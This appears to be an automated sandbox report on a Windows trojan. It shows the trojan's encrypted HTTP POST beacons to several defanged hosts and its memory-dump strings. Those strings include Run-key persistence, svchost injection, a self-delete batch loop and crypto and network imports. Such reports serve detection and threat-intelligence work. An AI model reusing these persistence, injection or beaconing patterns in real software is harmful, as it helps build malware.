jYn12eHvwPFUYX9 KasLgeV7lwLoTAPM/SfwePtWDQi4Jmlf 8j8mVE36CKWMGqL

rFzcoMuBZW1TkhjetEzqhLRzIO 4ZXAkTCWov70J/VoyGFXopLLKNtSqymf93/C

fpRkXLhR6s9hhsXXg t9tUWl6/ge3cGAficXnDKNGFl7rsZSCvl4rcayJEwOvpn2

GV rWz18MQ7aPQJdWywlggGiuWgSy/cDlemv5n42P5hCJZj0xYtgNI 33YUg3qYi

32boXutqKpp q8GWuDbqhMeZMT6JykE6Uv4NZjpl4ChDMHHDu/vBAs7WqZZs0sq0

dVkXL8vG

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache/2.2.29

Location: hXXp://learningcenter.sharepoint.com/

Content-Length: 221

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://learningcenter.sharepoint.com/">here</a>.</p>.</body></html>.HTTP/1.1 302 Found..Date: Thu, 23 Jul 2015 22:25:44 GMT..Server: Apache/2.2.29..Location: hXXp://learningcenter.sharepoint.com/..Content-Length: 221..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://learningcenter.sharepoint.com/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.alan-jp.com

Cache-Control: no-cache

wT NqAhSc0CCNx4CS03Bd3syrO6QbWiyvKUYSb3fuipovXHZwDzx7o3MOiUY7Gza

MbxX9xDpQxWYHoHwnrQ2jD9tZY9Yx8TK6RhWnWcVjXtkt9slTPpkzcqNXTz cwdB

2CYpsgaj5pgPQD2FdPUov02zzk6KQiXvguGhH5RQBOFwhBqu5/EkNvXN6VZCPAsK

XPWYWpjhc7CEB3vnG2d0C0X12qUNwfd8x8s9pJzZQNuzZmPX K/0KCk3P4svzCzY

nls1QeWcOY5Wwg/u7GYtqeNnqNWqeRTUhePQxvRTN5ru5nFZEJR8QlCuJJDouCGw

gd HmcO7i4fk4rIt0K/2N3vSfNVMiAuLtCedrYcluseMGvJc8mAOesF0KBxqQztZ

yoDHA2fMpSMbplxshQzboAsc2DOWv9OZYZJz7z8RNX62pmTqSew74GIctn8bDp2c

0BfyU7pgPS4f9RGDMtlmjzKIsAd MgEgsKb5mj4QY4iKJ5jPVi8wo1ytn1xgs Gz

qKrG29AygjJKtnBUwIu6Xf4eJ/9xzfUKSiECx/Xjs8BKZpFmjY281tdgyk8zwCc0

hUXtYTNE

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

c6 ..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access /.on this server.<P>.</BODY></HTML>...0......

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.alan-jp.com

Cache-Control: no-cache

wT NqAhSc0CCNx4CS03Bd3syrO6QbWiyvKUYSb3fuipovXHZwDzx7o3MOiUY7Gza

MbxX9xDpQxWYHoHwnrQ2jD9tZY9Yx8TK6RhWnWcVjXtkt9slTPpkzcqNXTz cwdB

2CYpsgaj5pgPQD2FdPUov02zzk6KQiXvguGhH5RQBOFwhBqu5/EkNvXN6VZCPAsK

XPWYWpjhc7CEB3vnG2d0C0X12qUNwfd8x8s9pJzZQNuzZmPX K/0KCk3P4svzCzY

nls1QeWcOY5Wwg/u7GYtqeNnqNWqeRTUhePQxvRTN5ru5nFZEJR8QlCuJJDouCGw

gd HmcO7i4fk4rIt0K/2N3vSfNVMiAuLtCedrYcluseMGvJc8mAOesF0KBxqQztZ

yoDHA2fMpSMbplxshQzboAsc2DOWv9OZYZJz7z8RNX62pmTqSew74GIctn8bDp2c

0BfyU7pgPS4f9RGDMtlmjzKIsAd MgEgsKb5mj4QY4iKJ5jPVi8wo1ytn1xgs Gz

qKrG29AygjJKtnBUwIu6Xf4eJ/9xzfUKSiECx/Xjs8BKZpFmjY281tdgyk8zwCc0

hUXtYTNE

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

c6 ..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access /.on this server.<P>.</BODY></HTML>...0..HTTP/1.1 403 Forbidden..Date: Thu, 23 Jul 2015 22:25:44 GMT..Server: Apache..Transfer-Encoding: chunked..Content-Type: text/html; charset=iso-8859-1..c6 ..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<HTML><HEAD>.<TITLE>403 Forbidden</TITLE>.</HEAD><BODY>.<H1>Forbidden</H1>.You don't have permission to access /.on this server.<P>.</BODY></HTML>...0..

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.emka.fr

Cache-Control: no-cache

oEOfwkXeSkWMHLgSbLqISr6ytb8Tb7yfSd O9B71pTY6XTVGclKvrhqvU/D39uKi

UkvtuX/ JmjdopSa5Xc HeHoBK5HcF9SMirkEYvu2sewUUtsDNDavpHCSgi/NXXt

I6asyJJmdP1jhhewrFajsZwZgDxYDS77VcrD77NYkUQ2R85 WGAnYhN9E5sIS /1

eJNlpNdbOpuoFGD2U6w11fz5Hh7L8hDR/6TtXhMb3Lc0op1C/EfZ1EGfePLBZuop

/fEN8ucXnk/WAg5K7B31YgaxcYZf8WTjGhaIBKMopVV48L1WH0aChoc/a5UEgDYe

WJBcjEMU6AXTc6F2nxD3f/icGp1vAgq1UN98ot96Ey8Up69zju06bt8d6O47MOD6

hyf1qIW70iAMoqb9d4zBjxIvovaYKglIRAB3znLGRafHB/mifm9B7YMDZJaeCVrM

BkI6k9xVjJHcYtzksYYqQxMwEv36RNHiQybFOJeGKXuEQQz5Hc OdmXbzNJmgfc4

SWCMGO7TYK/rMm05K7s80bZg r/PVs8=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:26:05 GMT

Server: Apache

Content-Length: 0

Content-Type: text/html

HTTP/1.1 200 OK..Date: Thu, 23 Jul 2015 22:26:05 GMT..Server: Apache..Content-Length: 0..Content-Type: text/html..

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.akhh.com

Cache-Control: no-cache

usLtVMEveUWySW/voEZ2tpoJsno/JDyKhSLtuQDMwkZhm2lJfRDUbrOYzAKM9mcx

C5lBRzCYjqYCgioxHIPBVrV7DqPp3Jg1gJ/5ZnU2gyzMe3eoG3qmvcWOANynb/0u

iBBJEqrMiLykbkZ LTpjWx5EtPf8XO8KturEJeBZtsEOvKdEM3DsByvKpbVfPiR7

sRGbVXdCSmQaJNuXdIchKNmiVx DNl4mbMQnK 4LpGcJ/BfWTQLPoNkGQ8BpNM6m

uzBntN8dd9TzG9ZGwwbb0cSAhPUkm07owxiOzKq eGYFKLxHcnkg9uNpj9UZ72g

iobc mQqwSFtMOYzXfrIY9qP/eBK E4cSHjoJCnjKMBtUqITImYc40M P7wAGYJr

q 5VmCZloMZmiupXlnytI7z6sKAEtWiKUso3wwCTtEnI9JQGF9WCtnPFsLVDS7vc

8WxWwqmnMqK6ngwx3KlMRZDNCDDHgREX0jy9OFFSdtHA0gBK5IWR6f0mBmfR9rof

aRGd/aWmFgEjb 7FUJ0qisYkxU85QMndOQDHE4pPGpvnI5V1OR4FZknT3ivvT5E=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:26:06 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Wed, 01 Jul 2015 05:51:45 GMT

ETag: "2418025-2851-519c9eafb1e40"

Accept-Ranges: bytes

Content-Length: 10321

Vary: Accept-Encoding,User-Agent

X-Powered-By: PleskLin

Connection: close

Content-Type: text/html

<!DOCTYPE html>.<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->.<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->.<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->.<!--[if (gte IE 9)|!(IE)]><!--><html lang="en"> <!--<![endif]-->..<head>.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta name="author" content="AKHH" />.<meta name="copyright" content="..2012 AKHH. All rights reserved." />.<meta name='description' content='Adnan Kelana Haryanto & Hermanto (AKHH) is a dynamic general practice Indonesian law firm with extensive experience in cross-border and transnational transactions. The firm was established in Jakarta; but has since opened additional branch office in Batam, a special industrial region situated next to Singapore.' />.<meta name='keywords' content='akhh, associates, lawyers, law firm, transactions, lawfirm jakarta, laywer jakarta' />.<meta name="robots" content="index, follow" />.<meta name="googlebot" content="index, follow" />.<title>AKHH - Adnan Kelana Haryanto & Hermanto</title>.<link href="css/960_24_col.css" rel="stylesheet" type="text/css" media="screen" />.<link href="css/layout.css" rel="stylesheet" type="text/css" media="screen" />.<link href="css/reset.css" rel="stylesheet" type="text/css" />.<link href="css/dropdown.css" rel="stylesheet" type="text/css" />

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.nomics.de

Cache-Control: no-cache

P317ZsfYiTsx5Jmt9j89WpDKv2u9gD616wi3O63YqC82eag2Yp3gH7Ebzs1n1Q9a

HiWc8VbvCL3lfBBznXPFLhFCESiAmFYA0WlnLfZ xxWFsiJjKWedBtYv/3GGAURK

oB/yuKMFsvf/3MSR//aoA3e wZzK36mgjuS3VbwQ2MMRerHbBY40tKBFgY qEcl

8kW2MR4CbrzxgeKG7fzKrkwbabyl9pAI0aD E55cK6q5QWlotuniq3Zb1lOH/ULA

cJsJUt6OGZd2fsfLqVqlBTknzWJ/ymnf1JKgMUi0LB5H/0ibH0Lx/ZUQJUC2y7TR

ytlgIdZOM5zU5RSXgdSg2yB8RyD4tWj5CLbyv1hY5XFX2ZxNMP9XCd/ruwIgEDBo

g125OONqUUpeIhTInG4q15cfUTCxY7DU/lLs74dqj1tmRvujRABbVcRGNRPJmk97

Qyqg3WDU8y8WzHE0VkbbNzWoDs1sq/8zbyOAJeZX7YIvA5x1w3kVtMxVHbqyMIFF

rm7yHQVCRCRTV/LrwJpLK9E=

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:19 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.18 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g

Content-Length: 350

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.<hr>.<address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.18 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at VVV.nomics.de Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.canaxini.com

Cache-Control: no-cache

UmYqGz3Z4jtzU6qZ9El34HZ8e1ZrobYuwc1RG9LaT5BKo6s22aYYrFMIvu4BGQRO

I4NkhiCOAXqeBBCJkbKkXvawcz g6NtoIOuWkgAfOXLaWLGmCwK68dllE94FRhxd

A/0NIAKrPnfFLEPdoLbnWYJnkkftjMMmjWc3HagIT o15BGe9q5Sqh0y6HbLwxvc

/2fxCtYrQQaVpJgEIM0/G3MBT0BXQuIV trKK44Hkp0DZryNCaUQq/YvCHf1mph6

Jgu/bMLva7gMKV14j1pMuavHfiTkv8IjiiOpzWgpdWoGe6vBNmBb3cwOVHw6xOVx

xWIzq2xLyYEl94DCdYpAEAWfOii6xnXqatwbtfzgeMHv9j3wfY0YfUv3/vHVx/ZF

BO3I80ysWUA6zu/UIRFbtbrZ38IckUeXODRaiiy2d0in1j/CJDzv JDCVKcjT/S/

P Zz2QP66u18e fpOuTmScV/sir8dGgQLqS88YW/IZ3hz4V9zgezq7Se7agECV6h

vjHjAaDocpp3iQlbJAkHKKVTE/2cO6Zqiy4Hmnx6aWs19N8jg HBAM/TBSwb9yk4

rADu9dE=

HTTP/1.0 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_944:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

user32.dll

user32.dll

GetProcessHeap

GetProcessHeap

kernel32.dll

kernel32.dll

*0;, *()

*0;, *()

93–4,$:2

93–4,$:2

)6-*("6%

)6-*("6%

/"/$ "0->&9

/"/$ "0->&9

!*:$*4?9(74',

!*:$*4?9(74',

*$*(2::>

*$*(2::>

= ).!;)"75

= ).!;)"75

4$#6== '

4$#6== '

,

,

((=>: ">(

((=>: ">(

)>977*$/*)

)>977*$/*)

? -,)$=(

? -,)$=(

?/:-/

?/:-/

9'$.!-73

9'$.!-73

'%!;4"/*

'%!;4"/*

(451,71(

(451,71(

!!(>/,(/8

!!(>/,(/8

94,)/=24,!#

94,)/=24,!#

(.44 53-1..;

(.44 53-1..;

"*53;1"3

"*53;1"3

-5.:?/82

-5.:?/82

3!(0.;!2

3!(0.;!2

.=

.=

18'"?)?'

18'"?)?'

,(/-/? $;2.80

,(/-/? $;2.80

;'**>="

;'**>="

#"$0.1039

#"$0.1039

:%3?>6

:%3?>6

&

&

(1 '7*(

(1 '7*(

41%$ 07

41%$ 07

# )?95.,

# )?95.,

50).!?0#

50).!?0#

%;6;5'?

%;6;5'?

3-?!6 -??

3-?!6 -??

3&1:">%?

3&1:">%?

(/2="*90

(/2="*90

&$)*65#=

&$)*65#=

%:">%'=4

%:">%'=4

"&:9 #3'

"&:9 #3'

3>

3>

%& :5*=5

%& :5*=5

'#37&6> >9

'#37&6> >9

*">157$))

*">157$))

?%6 )??6/5?

?%6 )??6/5?

:&2->(-(

:&2->(-(

(51='># >

(51='># >

2#;*#-02

2#;*#-02

':%:/1$

':%:/1$

)$.;

)$.;

!/2=012#,

!/2=012#,

='3 />>,

='3 />>,

!3.?6..,9

!3.?6..,9

$ $426&*1

$ $426&*1

" $')7

" $')7

3; .9"7%'

3; .9"7%'

(

(

(.".3)=/

(.".3)=/

6'7?1"2 *

6'7?1"2 *

>#5*("/8

>#5*("/8

&=: ,'7 $

&=: ,'7 $

( ?…?.

( ?…?.

$4'24,8

$4'24,8

21!;>%?&;

21!;>%?&;

'/5(67)

'/5(67)

9$?<:->

9$?<:->

?(8,$>25

?(8,$>25

?#)9$3

?#)9$3

&>>.3.!

&>>.3.!

.,;7#>'$2

.,;7#>'$2

> (307$,4

> (307$,4

7".7?>91=1>3

7".7?>91=1>3

36)>=6.)

36)>=6.)

9$')&22)

9$')&22)

%4?7"8*12.

%4?7"8*12.

2"#2=&,3 !

2"#2=&,3 !

442.;6.#-#

442.;6.#-#

"8&1 3 "

"8&1 3 "

%0&07)=%5

%0&07)=%5

2/"936>*

2/"936>*

8::%6

8::%6

0;.%

0;.%

;.3%

;.3%

8,!#?=/4

8,!#?=/4

821)./(1

821)./(1

7=(&(2!5

7=(&(2!5

&passionate early

&passionate early

&reported

&reported

rejoined intended

rejoined intended

joining

joining

&opportunities afterwards

&opportunities afterwards

6,2,3,40

6,2,3,40

Sherringham.exe

Sherringham.exe

1,3,2,15

1,3,2,15

omitted; Madeleine matter/itself Carteret restless before things ministerCadjustments little mattered suggesting Miriam description wonderful,showed offered unmistakable hansom wonderful good-looking luncheon preference4smiled succeeded better gazing Griffin disconcerting

omitted; Madeleine matter/itself Carteret restless before things ministerCadjustments little mattered suggesting Miriam description wonderful,showed offered unmistakable hansom wonderful good-looking luncheon preference4smiled succeeded better gazing Griffin disconcerting

%original file name%.exe_944_rwx_04000000_00014000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%s\%s.exe

%s\%s.exe

software\microsoft\windows\currentversion\run

software\microsoft\windows\currentversion\run

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

\system32\svchost.exe

\system32\svchost.exe

hXXps://%s

hXXps://%s

svchost.exe

svchost.exe

hXXp://VVV.%s

hXXp://VVV.%s

software\microsoft\windows\currentversion\uninstall

software\microsoft\windows\currentversion\uninstall

del %s

del %s

if exist %s goto :repeat

if exist %s goto :repeat

%s:%u

%s:%u

MyDefaultKeyContainer

MyDefaultKeyContainer

kernel32.dll

kernel32.dll

zlbqgtrknxfspcmd

zlbqgtrknxfspcmd

CRYPT32.dll

CRYPT32.dll

PSAPI.DLL

PSAPI.DLL

USERENV.dll

USERENV.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

CryptDestroyKey

CryptDestroyKey

CryptDeriveKey

CryptDeriveKey

RegCreateKeyExA

RegCreateKeyExA

CryptImportKey

CryptImportKey

CryptExportKey

CryptExportKey

CryptGenKey

CryptGenKey

ADVAPI32.dll

ADVAPI32.dll

ole32.dll

ole32.dll

hXXp://%s/

hXXp://%s/

%Documents and Settings%\%current user%\dopacgulnipd.exe

%Documents and Settings%\%current user%\dopacgulnipd.exe

6%6x6

6%6x6

%original file name%.exe_944_rwx_08C00000_00017000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%s\%s.exe

%s\%s.exe

software\microsoft\windows\currentversion\run

software\microsoft\windows\currentversion\run

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

\system32\svchost.exe

\system32\svchost.exe

hXXps://%s

hXXps://%s

svchost.exe

svchost.exe

hXXp://VVV.%s

hXXp://VVV.%s

software\microsoft\windows\currentversion\uninstall

software\microsoft\windows\currentversion\uninstall

del %s

del %s

if exist %s goto :repeat

if exist %s goto :repeat

%s:%u

%s:%u

MyDefaultKeyContainer

MyDefaultKeyContainer

kernel32.dll

kernel32.dll

zlbqgtrknxfspcmd

zlbqgtrknxfspcmd

CRYPT32.dll

CRYPT32.dll

PSAPI.DLL

PSAPI.DLL

USERENV.dll

USERENV.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

CryptDestroyKey

CryptDestroyKey

CryptDeriveKey

CryptDeriveKey

RegCreateKeyExA

RegCreateKeyExA

CryptImportKey

CryptImportKey

CryptExportKey

CryptExportKey

CryptGenKey

CryptGenKey

ADVAPI32.dll

ADVAPI32.dll

ole32.dll

ole32.dll

hXXp://%s/

hXXp://%s/

6%6x6

6%6x6

@.reloc

@.reloc

8"8(8.84 \

8"8(8.84 \

KERNEL32.DLL

KERNEL32.DLL

svchost.exe_4040:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

!).]3==*

!).]3==*

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_4040_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_4040_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

!).]3==*

!).]3==*

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_4068:

.text

.text

Qgmail-smtp-in.l.goo

Qgmail-smtp-in.l.goo

gle.com

gle.com

w_.yahN 'sbchob

w_.yahN 'sbchob

.LoadLibram

.LoadLibram

st.exe

st.exe

4567890

4567890

S.textV6e

S.textV6e

.data

.data

%d"SendARP

%d"SendARP

KERNEL32.DLLe?

KERNEL32.DLLe?

rg.rE

rg.rE

!"#$%&'()* ,-./0@

!"#$%&'()* ,-./0@

u$H%u

u$H%u

A.yX^

A.yX^

T.Buy~

T.Buy~

.GnYFP

.GnYFP

.ijVG

.ijVG

Ã…T}.C

Ã…T}.C

eKey

eKey

#W.JW

#W.JW

.OpBE

.OpBE

..LQ0

..LQ0

%u!T]

%u!T]

.rzsQ1 $

.rzsQ1 $

.wezi

.wezi

}kE%x

}kE%x

;2. ; 43

;2. ; 43

35%'8*

35%'8*

;*.*

;*.*

.GFFt

.GFFt

2ExE%

2ExE%

=?5?-?%?

=?5?-?%?

dWI%S

dWI%S

r=.HRo/:

r=.HRo/:

g%cH\F

g%cH\F

n.SBuu

n.SBuu

E$LPrQ$

E$LPrQ$

dh.rd

dh.rd

%X 790*

%X 790*

%X$\c>:

%X$\c>:

.wu'AN3v*

.wu'AN3v*

_-.XV-

_-.XV-

:.CBV

:.CBV

6.imawl45248!

6.imawl45248!

:W%C-

:W%C-

.oQP7M5

.oQP7M5

5:$7/8!6

5:$7/8!6

geV.hRGJ_

geV.hRGJ_

8.ez1%'

8.ez1%'

`1.OU2

`1.OU2

.WVV1

.WVV1

P.RD9

P.RD9

&|,`}9"*

&|,`}9"*

4o6%s

4o6%s

%C

%C

K-5}:

K-5}:

.qx&gx

.qx&gx

~:4.HA8

~:4.HA8

".dovZI

".dovZI

go@.AJS[

go@.AJS[

Fh.rA}A

Fh.rA}A

eyu5984.smzjqcj23056

eyu5984.smzjqcj23056

,Å“W=(!

,Å“W=(!

WCe.DUp3

WCe.DUp3

&%SVa>

&%SVa>

%C;Jh

%C;Jh

h.jYw]b^sG

h.jYw]b^sG

TXE6.gp

TXE6.gp

.CueE]

.CueE]

.Ja{#?

.Ja{#?

mthR%d&

mthR%d&

hXXp://%s/

hXXp://%s/

ckUrl(Xo

ckUrl(Xo

KERNEL32.DLL

KERNEL32.DLL

ole32.dll

ole32.dll

WS2_32.dll

WS2_32.dll

kernel32.dll

kernel32.dll

svchost.exe_4068_rwx_00400000_00047000:

.text

.text

Qgmail-smtp-in.l.goo

Qgmail-smtp-in.l.goo

gle.com

gle.com

w_.yahN 'sbchob

w_.yahN 'sbchob

.LoadLibram

.LoadLibram

st.exe

st.exe

4567890

4567890

S.textV6e

S.textV6e

.data

.data

%d"SendARP

%d"SendARP

KERNEL32.DLLe?

KERNEL32.DLLe?

rg.rE

rg.rE

!"#$%&'()* ,-./0@

!"#$%&'()* ,-./0@

u$H%u

u$H%u

A.yX^

A.yX^

T.Buy~

T.Buy~

.GnYFP

.GnYFP

.ijVG

.ijVG

Ã…T}.C

Ã…T}.C

eKey

eKey

#W.JW

#W.JW

.OpBE

.OpBE

..LQ0

..LQ0

%u!T]

%u!T]

.rzsQ1 $

.rzsQ1 $

.wezi

.wezi

}kE%x

}kE%x

;2. ; 43

;2. ; 43

35%'8*

35%'8*

;*.*

;*.*

.GFFt

.GFFt

2ExE%

2ExE%

=?5?-?%?

=?5?-?%?

dWI%S

dWI%S

r=.HRo/:

r=.HRo/:

g%cH\F

g%cH\F

n.SBuu

n.SBuu

E$LPrQ$

E$LPrQ$

dh.rd

dh.rd

%X 790*

%X 790*

%X$\c>:

%X$\c>:

.wu'AN3v*

.wu'AN3v*

_-.XV-

_-.XV-

:.CBV

:.CBV

6.imawl45248!

6.imawl45248!

:W%C-

:W%C-

.oQP7M5

.oQP7M5

5:$7/8!6

5:$7/8!6

geV.hRGJ_

geV.hRGJ_

8.ez1%'

8.ez1%'

`1.OU2

`1.OU2

.WVV1

.WVV1

P.RD9

P.RD9

&|,`}9"*

&|,`}9"*

4o6%s

4o6%s

%C

%C

K-5}:

K-5}:

.qx&gx

.qx&gx

~:4.HA8

~:4.HA8

".dovZI

".dovZI

go@.AJS[

go@.AJS[

Fh.rA}A

Fh.rA}A

eyu5984.smzjqcj23056

eyu5984.smzjqcj23056

,Å“W=(!

,Å“W=(!

WCe.DUp3

WCe.DUp3

&%SVa>

&%SVa>

%C;Jh

%C;Jh

h.jYw]b^sG

h.jYw]b^sG

TXE6.gp

TXE6.gp

.CueE]

.CueE]

.Ja{#?

.Ja{#?

mthR%d&

mthR%d&

hXXp://%s/

hXXp://%s/

ckUrl(Xo

ckUrl(Xo

